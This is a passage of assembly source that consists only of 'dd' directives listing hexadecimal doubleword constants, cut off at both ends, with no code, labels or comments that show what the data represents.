74B3F22Ah, 0F72E00A4h, 9A5E333Eh dd 49019B38h, 723993C2h, 2C20297Ch, 98BE1E4Eh, 1BADC050h dd 0AFF575B3h, 0E0542002h, 817D64DDh, 0FC2383D0h, 341020h dd 2BC4692Dh, 1B2F0FD3h, 280060E8h, 9B9E5D21h, 0EA1851h dd 43C655E5h, 5488D079h, 2D83600h, 4AFCC834h, 90BF986Ah dd 0DB5B2C18h, 753C025Ch, 0E88A7EA5h, 0D2890378h, 39B2422h dd 0F4D613C8h, 5F0BC13h, 36DCBC00h, 24B6B0BBh, 0F4448Fh dd 0AC753D2Ch, 1A2CABFBh, 9C8FACA9h, 26A08071h, 0B074B158h dd 44FA74A8h, 0E30099B3h, 0C7A4424Bh, 225B91h, 367A56DEh dd 9D10278Fh, 2FAD1700h, 328144E5h, 1C6AB0C6h, 727BFB5Ah dd 5461EEA8h, 2E3C201Bh, 809A4938h, 0B8BA41F3h, 2EDD223h dd 5BAF20DBh, 984051AEh, 4900280Eh, 0F12C4726h, 0EF1031h dd 0CB6A3770h, 0A61C33Bh, 0EC49E700h, 6F301F0Bh, 4B4F07DBh dd 552F6F3h, 96A400C7h, 0E6090AFAh, 91797004h, 458035BEh dd 1C5668FDh, 89AF829Dh, 0F0001B40h, 0E4849CBCh, 618B3D00h dd 0D65D3101h, 0F7EEBAh, 0EFF11CB2h, 0FA97514h, 0A1B9862Ch dd 5AD55000h, 2CF00BA4h, 3F8D13h, 0C24DB0A8h, 3060EAD1h dd 7032388h, 0B55890AEh, 0F8002C50h, 742BEF86h, 0F753CBh dd 0B85F240Bh, 5934CE51h, 0D2B54D00h, 0E319A1FEh, 49397EAAh dd 40016CE0h, 73A99DBCh, 0F0CEE4BDh, 80714B26h, 2EF76980h dd 1482407Dh, 0BC1FB6E5h, 7F3ABD80h, 70EB20A8h, 0E312D357h dd 0C8908FCFh, 74C8C3D7h, 0B8F801B5h, 0DA584106h, 0C47FCC3Dh dd 0B25BB302h, 6059EA7Ch, 89CA498h, 18FDDFACh, 6AAE3E00h dd 3598720h, 4582EF5Eh, 55EBA2F0h, 8C630B80h, 0D5B7190Ch dd 184CA822h, 0D06FBF95h, 2905C9A5h, 49F74AEDh, 7507C0C8h dd 2D0C006Ah, 0ADF459Ah, 0E800EB02h, 5F220D03h, 2484FAC9h dd 182871h, 4F147B8Eh, 0A800F4F9h, 27D810Ah, 3961CACh dd 0BE8F6CFDh, 95A83E27h dd 810045E5h, 25A4CC0h, 0D6F7FAh, 0C78EDE8Ch, 26063C2Ch dd 9E4AD814h, 6E4E009Ch, 3451CDE2h, 335609A4h, 18001F68h dd 3BEE7E8Ah, 1B907B26h, 0A6BD0400h, 511513h, 7C79F45Ch dd 17DB4DCFh, 0FF597800h, 0B86F8999h, 60F60334h, 8021D8A3h dd 4062A4F8h, 330000B8h, 3807E215h, 38B4778h, 454B5822h dd 0C7C5FD7Fh, 0C4C8038h, 0F103A927h, 0FBA25086h, 0E6900387h dd 2BE5BDCh, 0B68FB200h, 0F06FB8DEh, 0D0B0067h, 0CDA4AF58h dd 8D00A6A9h, 7726DBDFh, 122AD989h, 0C990A2h, 84578204h dd 0A40059F1h, 4C5D228Dh, 7523E024h, 0A0D30053h, 601C8A9Ah dd 0A900A140h, 154AE975h, 3E300E8Bh, 0FFA5B2h, 7BF1B873h dd 0EFDE4248h, 0C531FB00h, 5C554CB3h, 0E8B0C2D7h, 98A1A7F1h dd 0F190C0C1h, 0C2003489h, 9B1EE900h, 0BB558FDBh, 0C61F1EAEh dd 0D6CA40F2h, 0E37D3C93h, 8FDF9A00h, 2A54D325h, 7A7CD4h dd 0D248B483h, 1DBDED8h, 1F516E02h, 0E086B8E7h, 0CD7800h dd 275E75BFh, 359656DBh, 0ED072973h, 79ACA6A1h, 23C15F0h dd 3D540006h, 709FA5D0h, 5B002D32h, 0CF8B08CAh, 3933417Eh dd 2880E30Bh, 0A0ADAAA2h, 461FB5FEh, 82F8D2DBh, 0B49470B7h dd 0F87840EFh, 732B00DEh, 0C302EC07h, 0C5B017D2h, 270BF77Eh dd 5110578h, 0EE00CCA0h, 9207C90Ch, 6476260Eh, 0F58F3ABBh dd 616F3E1Ah, 274869E0h, 0C8009C30h, 9E88ECF7h, 9BAE34h dd 575155B9h, 58326441h, 0D442EF00h, 243D5666h, 3B7B4Fh dd 821CA45Ch, 0D84BF4F8h, 200D9F0h, 596387E7h, 0BD40F6Eh dd 0A83B20A3h, 0A5989B80h, 9700055Eh, 802EAF1Bh, 0EE0384h dd 0CC73083Ah, 0EB6C938Bh, 95DC0A00h, 0B8974F4Eh, 16040EEAh dd 6DC7D92h, 0B046A0D0h, 93E0C60Eh, 0A76200DDh, 50070Dh dd 5621F36Ch, 0F5F66F5Ch, 8304C53Eh, 0A415AFBh, 0DE820087h dd 353396C3h, 0CE00AB3Ch, 0C9EFC620h, 59AAE5h, 0B37FC78Dh dd 0EA9280BCh, 3A31F71Dh, 6D0D0640h, 0BFE7B2h, 521A46D2h dd 0F488874Fh, 1DAF58h, 73ACB0F0h, 0A8C91Dh, 0B6106D5Bh dd 85C107B5h, 39E01400h, 67BF0C0h, 0C789008Eh, 0C54E66EEh dd 0F5001747h, 0E9B5A453h, 7560AB93h, 8108007Ch, 0F8EE61A8h dd 91008C4Fh, 282F69A5h, 0C8ACC6h, 85565FFFh, 0CC4DF222h dd 0A2F4C507h, 66C14E13h, 84ECC430h, 6DAD01EEh, 653B6029h dd 0A0AC4794h, 646C5BA6h, 0A8F5F42Ah, 5F599203h, 0DF4E173Ah dd 1EEAAF90h, 60CF0007h, 93D0D20Bh, 8DB0C29Ah, 0D1D46E00h dd 0DC259C7Bh, 638E0015h, 0CD1CB01Bh, 0A000352Fh, 936A5AC5h dd 4CD3BDh, 38E8D8C8h, 0FFF3A37Fh, 2620ACA0h, 9501C100h dd 0F5CF5F99h, 393100D1h, 0E1D4820Dh, 0E20066C2h, 0F15AF4CCh dd 0D572AFh, 55DA3B54h, 62CB2014h, 1507B07Ch, 0B67CEF1Ah dd 112580C9h, 9206E3F9h, 7DA80130h, 8ACD0F4Ch, 25406003h dd 0A9C38501h, 53789BD7h, 0FEBEDCh, 0B33EF34Eh, 5F58F008h dd 0E4107F07h, 0EC71B7CAh, 272047AEh, 68BF0048h, 0CFC8F339h dd 7000E020h, 6129654Dh, 278404h, 82A8CEC5h, 9EE60CC3h dd 15BBBE00h, 1A232B47h, 4CE100DDh, 0BCCA82FEh, 980F7410h dd 456A7E1Eh, 8C00917Dh, 7B65B649h, 0CEC0073h, 0F8C05C03h dd 0DF0014FEh, 4F50B8C7h, 36CDA6h, 6AB6E4D6h, 0A864DA97h dd 89008471h, 8D8CE7D3h, 74DD708h, 0EB0F20AEh, 15A89027h dd 0A10069D5h, 0FF2CE1B1h, 0D7A72Bh, 24C125A4h, 151CFB66h dd 0B31BDE07h, 6EB1EFA0h, 25C467CBh, 84A10157h, 140C17E1h dd 5D2FC8B4h, 0F7706900h, 8FEB6D05h, 87F01C6h, 0EF21FCF9h dd 1FFDE057h, 0F6D75F02h, 0C07C0165h, 0AA1398h, 0A949E9F5h dd 80AEE199h, 8A4F6E00h, 258229F4h, 1CC073C6h, 0E2D493h dd 0DDA8193Ah, 0FB793DB3h, 8409D079h, 805B6E63h, 0C74107D0h dd 2C3E0138h, 0CE3AE0Eh, 65C0FB67h, 0FB00D573h, 0F492FF0Dh dd 2B7691h, 897285CDh, 2804473Bh, 8D3F41F8h, 4FFC0321h dd 0A836CAE7h, 0E64CADh, 9554D861h, 2ACBDA57h, 3D53EA00h dd 8E82C6E9h, 0F450003Ch, 71F613BEh, 8303AEC5h, 3A9F7B7Fh dd 0AF04FB57h, 976031D7h, 2DC6ACh, 187C530Bh, 41E11DB7h dd 0F4C29009h, 0A50D8011h, 1EC629DAh, 0C0141567h, 3454FE0Bh dd 7D00B294h, 0C5063937h, 7C11B5A8h, 4BF4E4h, 5BB435E6h dd 0DAC609E5h, 0A9B0200h, 52A80D22h, 26A038C9h, 5B9AC700h dd 0FFCE4F1Fh, 0A608B000h, 3A7A18E5h, 39B35CDCh, 0CAC3801h dd 80B05DB4h, 99059010h, 1802C75h, 497B41A2h, 0C0DACB8Eh dd 0B0E82D4h, 80212D4Ah, 33CF9EC6h, 0D6880070h, 137EB366h dd 2BF287F4h, 5D099F00h, 5E1426E2h, 3FB10093h, 0A528DD4Bh dd 0FE004F2Fh, 1884637Ah, 0EC32276Ah, 0C4BA013Ch, 0AF556020h dd 8FAED8EEh, 1C934104h, 0C501E9EBh, 60BECBAAh, 0A8A04341h dd 6412EA74h, 0A700277Ah, 0E8594BE4h, 937D0010h, 4AB4986h dd 0B0001956h, 0DDAA6B66h, 0FFB6909h, 6DDAEDF1h, 453095E0h dd 372EA7A1h, 0DF0EFCD4h, 0C528C2E3h, 10B0801Dh, 0C15FE2h dd 15FBD278h, 5DCAAFDDh, 53980C03h, 0B0C57213h, 1F60346Fh dd 803B4464h, 3994300Dh, 0F6005CC2h, 4A011783h, 0BFAEDh dd 78BE7088h, 823526A5h, 3365C0Eh, 0BA15A081h, 0F4B709B2h dd 81E0DD54h, 2C454DF4h, 71A8480Ah, 0F24957Ah, 7480005Eh dd 92C3405Bh, 83410716h, 60B3F6C0h, 3A119E63h, 3B9DBD39h dd 31BF2Ah, 0F3F89A14h, 69D6E9h, 0A6972919h, 0A41BBD6Ah dd 48279000h, 9F0B0B3h, 0CE9F25Bh, 28845D15h, 2101082Ah dd 4BDB059Ch, 80BAE641h, 0E3C4C8B0h, 8E07C996h, 0E3242DCh dd 0AA47E880h, 0D10907C3h, 208B3C3Dh, 0B26D070h, 8090DB7Fh dd 81C28202h, 40A10FF1h, 0FCB83F20h, 0B5141FD8h, 4B574010h dd 0BDDA0E96h, 92A5AE00h, 84F4634Eh, 0CA1B00F9h, 0E3E7FDBBh dd 8F194B9Dh, 0CF19E8CBh, 0CC19E685h, 42944624h, 9728E4C8h dd 0BAF890F5h, 7212BE1Dh, 731EC900h, 0F0D9EF66h, 63B5ECCCh dd 0FFF5B6FCh, 0A6D31B0h, 45F3FA00h, 7FE2A33Ah, 0BE7E0042h dd 9C279B05h, 53004661h, 0E1FA2B7Dh, 13059B8h, 9EC7139Ah dd 308CA3E5h, 0B007DD12h, 77D31668h, 40AD0D82h, 0E8A226Ch dd 6BEF046Ah, 86FE4B00h, 6000FA7Dh, 3B9A5BD8h, 0C0C927h dd 6204848Dh, 9FFCAE63h, 50598F01h, 0DA7445E5h, 0C0D91AECh dd 0E0BC3971h, 0A63E75ABh, 75C60FEh, 0EC181563h, 724307A1h dd 0D0856CEDh, 61A08B4Fh, 0CB00BAF0h, 0E0D763CAh, 0C787B5Bh dd 47A1BD58h, 0E50B8E0h, 29099EA4h, 8E1470F7h, 63E02094h dd 1FFCD9Ah, 0A2CEFD04h, 2498E327h, 51087634h, 432B3E9h dd 0AE1B013Dh, 0BD07F2C4h, 0ECF04508h, 0BDF73Eh, 6FF629B9h dd 0C11351A9h, 0C8D6307h, 0B0048ACh, 3EA39206h, 0B2007FE1h dd 6C3FC316h, 666EDD71h, 9AD5A010h, 0FA7733h, 0EC6798D8h dd 0D98FC7FFh, 0C3CF2700h, 0A3327D82h, 0ADC00A7h, 0A00B706Ah dd 0D800FC68h, 0EC021A56h, 1C837C7Eh, 40B4C3A5h, 871C210Bh dd 7700499Eh, 0DF25D5D8h, 0FC0DE11h, 63578BC3h, 0BC3074E0h dd 0FC003CA6h, 56732737h, 0A3A108h, 26010E2Fh, 67FE8D57h dd 66E71300h, 903A7E2Ch, 0F092F48Ah, 7B043A2Ah, 1500F1BFh dd 0DC672DCCh, 595C7FEDh, 81007A36h, 40221E19h, 0BC6812h dd 6144A9FEh, 5E7E8B6Ah, 23B2B100h, 0D3BBC56Eh, 0D2E80031h dd 1B271CE3h, 37009B43h dd 5740449Ah, 5105683h, 201816F7h, 0BAB7C131h, 0E83AE1D4h dd 4900B2C5h, 0D2B995D0h, 29897C3h, 0EBF04C52h, 1BE05ACFh dd 19389E56h, 415F80DCh, 8F6E004h, 0DF900020h, 48B6570Bh dd 7BE6DDC3h, 32C5A81Eh, 4276C280h, 3E5538h, 0D299A14Dh dd 4AD6EE3Ch, 0D90319FAh, 78154F9Ch, 0A8BCFB2Ch, 17078AEDh dd 3168E22h, 60A6834Ch, 4BE8C28Bh, 0CB00EEB7h, 9D49AEF5h dd 3781FAFh, 0B2C37154h, 98B88407h, 892C0156h, 0E5000432h dd 7C3C31B1h, 81350F4Eh, 9BE304C4h, 7EC86F9Ah, 4C002F2Eh dd 28340F72h, 55C1592h, 3908E89Dh, 1D3DC019h, 481CDE7Eh dd 14C011D7h, 0D27A915Ch, 616400DDh, 0BF06A333h, 0F6001AF8h dd 0CEF50588h, 12B1FEh, 4C9DA5E1h, 327B0837h, 9F14C700h dd 8C69AC7Dh, 9C1E604h, 0D5CB5CE3h, 5507BD50h, 52F356ECh dd 20A7207Fh, 7D77A6A2h, 12EAF1h, 835005D0h, 0D9D8034Fh dd 0A8F7BD00h, 8B552FCh, 44300069h, 56D4F81Dh, 3F01E229h dd 0DBB28AF4h, 5DC81AFBh, 49790041h, 0FE933E80h, 0EC0053F7h dd 0B25213E5h, 0E68D70h, 3849C721h, 0A37E4F2Eh, 54F71F00h dd 39DBB127h, 3EF7F23h, 0C972093Eh, 0A0D0FD05h, 0D500ACBBh dd 0D4CC606Ch, 3142A3h, 9562702Bh, 7780828Ch, 4E007DB8h dd 13D5364Fh, 2E177256h, 0AC221E2h, 390F6F7h, 6BF59882h dd 250E5800h, 46BA0CEAh, 4A4207BFh, 69A786FCh, 0E0FEA200h dd 9A00A354h, 1BD8CA9h, 1C0A2F0Eh, 8063280Bh, 0A0E3CCFFh dd 0C203AECFh, 0C43904F5h, 9A70B73Dh, 0B68F2Eh, 2514644h dd 2773FCE4h, 63795A00h, 0D2B198BEh, 3E8D3A2Dh, 0ED802CB8h dd 25E0B37Eh, 8B00AA48h, 0E53B7F38h, 1303D6Eh, 804CE4C4h dd 0FCCB83ADh, 50F8DB7Dh, 0DA83600h, 0B744E58Fh, 3F5C0023h dd 0E96DC376h, 89002FD9h, 0DDA85543h, 39AD8226h, 4480C742h dd 7C6E97FFh, 9E003D4Ch, 3562664Dh, 941586h, 386C710Eh dd 0B312480Fh, 85E2D207h, 0F050FC65h, 3664B1Fh, 0C9953087h dd 1BE09963h, 0C83B5DFEh, 91098020h, 4E670ACh, 0E1142CB5h dd 6AD10704h, 0B2D620E4h, 0A5502693h, 0CC097DC0h, 20AA37h dd 79C71848h, 0C2D70021h, 0B1D59AA7h, 431CBA41h, 0F1C092EDh dd 7FB53F74h, 0B7BE00B9h, 0EAD71915h, 9A78FDE1h, 90F7D000h dd 0C8B16C6Ah, 0C49C00A2h, 630C5115h, 1400CD48h, 7216ADCFh dd 0F9B2E52h, 0D85F0E4Ch, 0DFA44F20h, 76268BD4h, 2828BE7Dh dd 15006543h, 0D2B09D31h, 7E00BEA7h, 18FBF384h, 0B145CBh dd 720834FAh, 0D0B65E9Ah, 64999100h, 9480ACA7h, 224800CCh dd 39EA6CC4h, 0C503A662h, 0CF3AD1B6h, 9B87889Fh, 0F30B000Fh dd 0D526E3F0h, 0F2004099h, 0B1F1BEAEh, 0E6D65D0h, 75E628EAh dd 9FC40140h, 0A0004D43h, 786C774Bh, 128F8088h, 787814Ch dd 0D3A4E710h, 9000CD56h, 0B36A462Dh, 0E3E561C3h, 524720h dd 6ED1D451h, 2DD82F9Eh, 804E3B3Ch, 74449A8h, 4C2509A5h dd 0F000D6E9h, 3628C6F5h, 170E08FFh, 0BB7AC5Ch, 392C01E0h dd 19800E3Bh, 0B4AA4EB1h, 9D7B18C6h, 8A0C7575h, 200990E4h dd 3498D8h, 3BF2B1Eh, 0D7206405h, 0F0FCD32Ch, 0F0C9C707h dd 0D8ED9530h, 0E85D0748h, 209667E3h, 5BF54DF4h, 0A7065898h dd 8AFCBA6Ch, 476838C8h, 28DC5909h, 7C89400h, 0D43F65F7h dd 37E50008h, 724B40EAh, 0FC2D145Eh, 2202C033h, 0A9730D23h dd 0A8CBD080h, 4F1C18C7h, 604028BAh, 0D2FE05E1h, 7BC0148Dh dd 20008477h, 32BECCBFh, 2500A780h, 0F447DD21h, 469112Dh dd 98586265h, 0F48C0FCh, 2C0003B5h, 8DAC52F8h, 0F3DD84Bh dd 0A1930EEEh, 2909F347h, 9B2BF900h, 0F407C75Bh, 0E4B6C485h dd 0DB76A0F0h, 2674000Bh, 0AE2F96A1h, 900EC975h, 20A9B743h dd 0D4DA6AF4h, 3D0100AAh, 0B61E5D1h, 9200F81Bh, 0CF818BE0h dd 7624E8C8h, 6BA8004Fh, 36ED3A8Dh, 5F7C4A16h, 6DBDF51Ch dd 1C88A794h, 1E8064E2h, 39CBEAAEh, 6B5A2447h, 0FB7B8068h dd 0EE8F1CB5h, 8577E600h, 0BB274576h, 0FA10000Fh, 6B75A15Fh dd 680059E8h, 0EEDAF92Fh, 14141121h, 0D55A8F82h, 3033CC26h dd 6E12B350h, 64B5B424h, 1626F701h, 0E4344EE0h, 54D248F8h dd 9DA9CAF0h, 191755E4h, 0FF00C7C1h, 3A9AEC1Eh, 3ACB0AEh dd 0C673EDE8h, 89E049B3h, 0C90068E0h, 0FD3A9C21h, 7D518Ah dd 0AFC787EFh, 8E373F99h, 20EC120Eh, 640FD6EBh, 0FF1B2007h dd 75D2C252h, 0A03D13E0h, 17C40C2Fh, 8201E449h, 0E2EC5B4Ah dd 39D818A9h, 0A25E6063h, 0F4285AACh, 26E43C0Eh, 2EBE155h dd 0D4D92F4Ch, 1708BE4h, 7229D1CCh, 0CF9C5E0Dh, 154BF900h dd 5C2E326h, 0CE443B97h, 0B02DEB80h, 0BCFE5818h, 503FB7E6h dd 3414804Eh, 9B6944EEh, 0C3F500CAh, 247E40FCh, 0E124A72Bh dd 6416D963h, 0BDD04E03h, 0A58AA0B5h, 2FAC026Ah, 0B205D4FCh dd 761DC0F7h, 0A13700FFh, 0AD69BA95h, 0C898283Ah, 77C9901h dd 92B1C544h, 304CE0D2h, 113401D0h, 97C194B0h, 6BE430AEh dd 0CFA7FE01h, 0B324F45Bh, 80595840h, 0B3E94801h, 64A8470Fh dd 6A3C5AA0h, 0EE06546h, 0ED619D1Eh, 48303B40h, 8B1AA1h dd 0FF226C0Fh, 655AA227h, 9B95DE00h, 0BC56752Dh, 17320223h dd 3172A0F3h, 0B78D2AC0h, 2C8FD503h, 903D3E28h, 77759978h dd 0E36700EEh, 0FA823222h, 0D739B005h, 0C4BD801Eh, 81CFE692h dd 28EF629Dh, 0BCE0DAFBh, 74131BABh, 0A400BDA1h, 110B1E82h dd 0AAFA003Dh, 60E6E24Bh, 0B100962Eh, 0C83A4775h, 73F055B8h dd 0A09C00E1h, 576474AEh, 0BC00B272h, 3D778D07h, 6DAACh dd 62E8F4D0h, 0DE78082Bh, 23F034B2h, 3139870Eh, 0FEC01E20h dd 7C9BFABBh, 808630CCh, 0E1130F88h, 256631C0h, 7462E7A5h dd 14F674EDh, 28410836h, 872E7C0Ch, 0B600F939h, 46FA88FFh dd 7EEA4FEh, 0FD392926h, 0C615C1AEh, 0ECE980BCh, 6A52848h dd 48406F21h, 0BFDE1483h, 0C93F2103h, 3FBA2A1Fh, 0D8D8711h dd 0A38EF9Fh, 0D6187844h, 4D383986h, 5CE0C034h, 0B915443Eh dd 243D3CA0h, 0A0F94030h, 729FDA88h, 0A9E1004Ch, 612C2E5Ah dd 0CEE0A4C6h, 38A78518h, 30C39694h, 0D9542BBDh, 0E158F52Eh dd 0E7EA0048h, 6004E91Bh, 0F4C50035h, 51FD4B9Eh, 0B81F7232h dd 8DC0BC5Bh, 0E2D83D26h, 8AE500B0h, 2D809BFEh, 241CC4D3h dd 9F00CFFCh, 6402F0C5h, 6B8F0EC8h, 0EC279136h, 73FA90DBh dd 0D100E58Ch, 9349BF0Ah, 116AFBh, 0E483F4FFh, 86D0BEA1h dd 72031BF8h, 0F2D2A9DEh, 959CE0EEh, 83980034h, 0C8BA618Ch dd 0E570CE97h, 0DD87DF0Fh, 0BF1D65F1h, 6F2CE000h, 289E601Ch dd 0A1A83932h, 4FC42D9Fh, 28341D48h, 0D62E0F5Eh, 5A22BD80h dd 19007C60h, 0B3B0E159h, 309708AAh, 0A809BEB6h, 0BF00FCD6h dd 16EFCEA1h, 0B8C66245h, 0C7270F85h, 0AD80C4E1h, 38F886AFh dd 0AB1CE190h, 0EFCFCA51h, 1ADEE7C8h, 688593D0h, 78971E73h dd 0F75E8064h, 99CDF3AFh, 1B72B000h, 18C9B15Fh, 1EE17EF6h dd 0BF6306BAh, 0D3AF7080h, 3993FB64h, 10C18F00h, 9E24E9CFh dd 6304071Dh, 17A1AE79h, 0E884CEBh, 0B59DAC01h, 69D962D6h dd 0D07081DDh, 0CAEF00BFh, 35030C01h, 5E0F96ADh, 4060FADBh dd 0E28C2D30h, 427F03A2h, 4143C0BCh, 0F3C7F9F8h, 22AB9513h dd 0E52FB400h, 3924C9h, 0C5099899h, 63A3AA8Eh, 340C1402h dd 68A66E59h, 90CD2CCCh, 28046084h, 0EE230FDDh, 8DB74D00h dd 3E8ADFD6h, 0A8660051h dd 0C2AFCCE0h, 6300BDE2h, 0D5FB7E85h, 5DE58Ah, 306179BAh dd 94E88652h, 841D74F4h, 0FB807C73h, 75141F78h, 11800CAh dd 79116198h, 0EC3F4C93h, 0E88FA432h, 0C5E9AC80h, 0E043FFh dd 0CE0DCF34h, 8351A748h, 0D3EB3600h, 3E7B8528h, 3AFC0082h dd 0E8AD6BACh, 165C6D50h, 21720950h, 0CE630037h, 6670E0h dd 3DD730F1h, 1B78EFDh, 1578B400h, 8453E4F3h, 0E267771h dd 49F25D03h, 0F6B8280h, 80003842h, 0A8964DAEh, 110A9C5h dd 0FC6D99B0h, 87EC1FC8h, 2A447E84h, 903AE570h, 9ED10052h dd 0F37A2283h, 770004C4h, 317C4537h, 0A8494259h, 4A6CB8h dd 52D6D967h, 0EF3E06E3h, 0A2CFEE00h, 3265AB14h, 0E9EB043Fh dd 848838ADh, 0D8F681E1h, 28B8CB4Dh, 23001C05h, 0C50A736Fh dd 46B370h, 0EF91ED27h, 1A2F02B9h, 21551830h, 6F6ED2h dd 0ADA42C2Dh, 9A0D6771h, 24AF6300h, 251B641Dh, 0E3DB0032h dd 70F82318h, 4B007510h, 0CCFFFAA9h, 4AABAA1h, 0DEB2C80Eh dd 0E6148063h, 253A5DF8h, 0CDC213ABh, 0F30C7400h, 2BB5CE0h dd 10BD32FEh, 4440BA64h, 87075E33h, 0F107F7BEh, 67A9CF2Fh dd 0FC408F44h, 37E1177h, 42097289h, 0C9884D10h, 3500E707h dd 827F9EA3h, 507896h, 89405BF6h, 0F07B9042h, 1A83091Ch dd 26740F40h, 0D2FBD9h, 0C7C8E535h, 55DB6B96h, 6FB0277Ah dd 8E508400h, 0F7EFB78h, 0E1770315h, 0AE0B97Dh, 0A61C7CC0h dd 0BB2AE500h, 42BA8524h, 418003Fh, 5D8F0352h, 0D807730Ah dd 6CED5810h, 4BBA2891h, 58601FF5h, 0C67907F7h, 80F647D0h dd 7E7B2950h, 0CA0E4FECh, 0EE66BC32h, 0A2A6607Fh, 1CD66Eh dd 0F889630Fh, 0BCF05C80h, 5D3C0304h, 8880E516h, 657AF7h dd 77B56047h, 4C0F78D4h, 9600E7F2h, 165E70EEh, 15A9AABh dd 8E365517h, 0D1C19BBFh, 526670C0h, 3E381F3Eh, 8C2F00F9h dd 29E469ACh, 0D1D00F4h, 15464A70h, 1800FB75h, 2E76B1C6h dd 0FE6A4B72h, 0B6ED001Ah, 8720DDF2h, 0D43E66C9h, 0E100FAF0h dd 5306BF0Eh, 82600Ah, 8A5A32DDh, 0CA21ACAFh, 70311E01h dd 0D8DFAA98h, 6A66D0h, 0B9E9EEC1h, 2458EF57h, 0F109D500h dd 9627CC03h, 67A500F0h, 25411EE4h, 65B0D43Eh, 7BFA0100h dd 7684D2F4h, 3FB0C003h, 493A482Ch, 82BE9E1Fh, 8F01FCAAh dd 0B00D6C22h, 1C25022Bh, 1B6710F8h, 10C8A383h, 0F43974F9h dd 407E8A9h, 31E19955h, 94D34E60h, 56D2008Eh, 0EF74EC65h dd 0C5008191h, 0DD8BA714h, 92B50F6h, 4293F5E6h, 489A3E80h dd 0B42EF3D2h, 0D80080B3h, 855740A7h, 6B90C018h, 0B71C7122h dd 0DC0C3200h, 624CE4DAh, 0D77A00AEh, 2E1FC419h, 79008A2Ah dd 0C087CB81h, 0E66E48B2h, 1105006Bh, 0A66CD1A9h, 0B376AFA3h dd 0FB067900h, 98B233A7h, 0D86000C0h, 0D0203E62h, 970068FFh dd 0A80E53D6h, 0ECA2EED7h, 38C00002h, 75786CB6h, 0BB003592h dd 0E1614686h, 0A2B9B1h, 0AD8C5027h, 7685C5A7h, 0E8872600h dd 9952282Eh, 2B3E0015h, 0D196674Dh, 0EC1CDD24h, 0F980B592h dd 0BBDB538Bh, 5BCE000Ah, 9AC3E3BDh, 7200A5F2h, 0E10B09D7h dd 1DAE1A0Fh, 40AA7674h, 23943098h, 480EFB9Eh, 60AF9B52h dd 0D81B3CEBh, 24453AF0h, 0D363F503h, 0C8E04797h, 0A0008C16h dd 0AD969CCBh, 901807ACh, 7E2E0168h, 0CC87A4AAh, 0C2B1607Bh dd 0B7CDB41Ch, 7FC900F9h, 0DDD1D205h, 1450F6F9h, 0BC0AC245h dd 8701D84Ch, 74E988CEh, 1E742073h, 1D03083Dh, 0C78A937Bh dd 0BA00F887h, 0EC35C538h, 0E38604F4h, 8071DF0Fh, 85644CB2h dd 4BC4A500h, 2F0E491Dh, 0AB540173h, 0FC63BC2Eh, 6A8CDC14h dd 13B7BA1Ch, 31431F00h, 1D0C9F3Dh, 0DAB082h, 3012A81Ah dd 0A0673F81h, 69800A11h, 4817D6A6h, 0D0C2426h, 1A0822D1h dd 31C2AA03h, 3DAA67Dh, 6B213728h, 5A88E113h, 2B002304h dd 0D1802273h, 0B79311h, 5166BE9h, 6F9D1D2Ch, 0B194EF00h dd 7B5DF296h, 0F1AC000Ah, 74E61AB6h, 524B7ACCh, 31DD2DC0h dd 4B6200A4h, 0DF3DAEE0h, 44A0E48Dh, 683FF236h, 887B01A4h dd 51EA423Ch, 0FAF5843h, 82A4E130h, 0C4E8Ah, 84BF62A7h dd 773042CCh, 8578088Bh, 27C01205h, 9AE44511h, 3A7840E5h dd 0ED867D30h, 80945106h, 0A1EACFD7h, 2BD85252h, 5B284869h dd 0A4F86C00h, 84D62195h, 37FCBE00h, 0C87D01A3h, 1C6400E1h dd 0EE303BCFh, 20F79366h, 0C6004B34h, 2B2D2C3Dh, 698084h dd 7E74679Ch, 0F318AB73h, 453FB200h, 5377EE8Bh, 0EBC6056Dh dd 0DB3A19h, 647B2D58h, 1C0E924Ch, 0EE9ABF43h, 21228C45h dd 37F79C4h, 6BF2F9F0h, 0A288A301h, 3722402h, 0D86F32Eh dd 1017D400h, 0C6488C1h, 522A3E2h, 0E6002020h, 0D520F19h dd 0A368796Ah, 0D414C18Ch, 0D1F2F0F7h, 0EB223146h, 8F0C0509h dd 0E0DCB420h, 0D68314C0h, 0CE363E8Dh, 8BC68A0Eh, 825E8C21h dd 4410802Ch, 646EF6A5h, 1AD4A928h, 3844E0D6h, 6CC61E89h dd 77134B57h, 0DD732D80h, 29C02601h, 72534C2Fh, 30020DA6h dd 4809C025h, 4301CFACh, 0EFA78B53h, 0D5E8ABB6h, 0F41B1F17h dd 2A82682Dh, 19404D3h, 96B781CDh, 605ED833h, 0EF1E6B68h dd 1ACC6C73h, 0FE8E8001h, 76950068h, 47701DD5h, 2E1F20BAh dd 1CC04F92h, 1191A16Bh, 0C4000E3h, 0E5AF031Eh, 253FCD10h dd 9276807Fh, 0FD54F991h, 26B70F0Fh, 48E0ED77h, 0DCE6F42h dd 1566FE17h, 0BDAAD300h, 1BFA7h, 4C3A2837h, 87F28E90h dd 4A8BE300h, 9B2DBAABh, 22DB0174h, 0DE3D8A6Fh, 0CE67CC91h dd 2892D100h, 0BF69F4F6h, 24CB0054h, 0D966110Eh, 4A008AA9h dd 0C5863BE5h, 3FC95F52h, 730383h, 26EE46B1h, 1CF01FF6h dd 0E464F703h, 74FB8Bh, 7C3C0279h, 83A98247h, 3DD2100h dd 88C05DBDh, 0E5F9001Eh, 0C3E7C246h, 0B9001104h, 97780B7h dd 0DF7612h, 10EE4F5Ch, 3ACE6DF1h, 0A6876E00h, 2679DBECh dd 0AE9D02E9h, 69F25CF3h, 984C4A03h, 2EC22Fh, 5BD354C5h dd 2DCBC82h, 45953207h, 809FC169h, 62733467h, 0F53C1BD8h dd 0E3E8B849h, 850EEDA0h, 0EC6E0361h, 1888E0AAh, 3127AFD3h dd 8B01134Ah, 8D111560h, 0BDDD1824h, 22E920h, 55DE77BEh dd 995FA8D1h, 0B60ADAF8h, 40EDBE2h, 83BA11DEh, 0CD0BE1DAh dd 7CC8BEF0h, 1A2102D3h, 1B1228EAh, 5270AA01h, 74DBD9FCh dd 8451364Bh, 3E31A139h, 54110877h, 232048h, 0F86A0E78h dd 7E7D4B48h, 0B5E34A19h, 9B3DE98h, 692E1050h, 4C204D23h dd 79403483h, 43E95A0Ch, 8961591Ch, 0D63ECB10h, 0E0A25059h dd 0D1608118h, 408084Dh, 0CF8F8D3h, 4E3E5261h, 0C9D02581h dd 11C4604h, 0B5D40451h, 0BDD103BAh, 14450C54h, 4C0CC0D6h dd 0F536183Ah, 10A12449h, 483E4050h, 7E738005h, 59B3DF07h dd 0B5B584C1h, 8C3700Ch, 4D8B1EBFh, 68981113h, 0E07F0421h dd 0A4560F8Ch, 